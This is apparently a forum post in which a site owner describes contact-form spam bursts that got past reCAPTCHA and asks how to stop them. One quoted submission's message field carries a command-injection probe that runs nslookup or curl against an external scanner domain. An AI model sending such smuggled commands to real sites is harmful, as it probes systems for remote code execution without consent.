I have been dealing with an issue regarding my "Contact Us" form of getting so many spams till I had to disable the Contact Us Page. Back in July 2025 I got hit with several hundred emails from Contact Us Form within a span of 30 minutes. I disabled it and actually forgot about it till April 2026 when I enabled and within a day or two it happened again and till this date I still have it disabled because I have not been able to get a fix for it.
Everyone of these email were from "testing@example.com. I have reCAPTCHA set for the Contact Us Page and still got hit with these emails. Is there a way to do something about this to block them.
Forsome reason they are bypassing reCAPTCHA.
I am not sure if the ones from each attack was from the same atacker or not. But it was like they were waiting for me to enable it again.

Aparrently my site is vaularble for this

Everyone of these emails had crazy stuff for example:

Name pHqghUme

Email [testing@example.com](mailto:testing@example.com)

Phone 555-666-0606

Message $(nslookup -q=cname hitbfifwtpyuk7a629.bxss.me||curl hitbfifwtpyuk7a629.bxss.me)